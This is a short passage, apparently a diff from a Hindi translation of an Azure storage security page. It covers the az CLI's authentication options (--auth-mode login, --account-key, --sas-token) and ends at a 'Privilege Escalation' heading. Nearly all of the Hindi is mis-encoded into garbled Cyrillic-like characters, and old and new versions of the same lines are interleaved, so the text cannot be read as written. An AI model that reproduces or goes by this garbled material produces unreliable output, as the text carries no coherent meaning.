рдФрд░ рдХреНрд░рд┐рдпрд╛ рдХрд░реЗрдЧрд╛ред Entra ID рдкреНрд░рдореБрдЦ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `--auth-mode login` рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +> рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `az` cli рдПрдХ рдЦрд╛рддрд╛ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ рдПрдХ рдХреБрдВрдЬреА рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдФрд░ рдХреНрд░рд┐рдпрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред Entra ID рдкреНрд░рдореБрдЦ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `--auth-mode login` рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред > [!TIP] -> рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦрд╛рддрд╛ рдХреБрдВрдЬреА рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░ `--account-key` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ\ -> SAS рдЯреЛрдХрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП SAS рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдкреИрд░рд╛рдореАрдЯрд░ `--sas-token` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ +> рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ `--account-key` рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХрд┐рд╕ рдЦрд╛рддрд╛ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ\ +> рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ `--sas-token` SAS рдЯреЛрдХрди рдХреЗ рд╕рд╛рде SAS рдЯреЛрдХрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП ## Privilege Escalation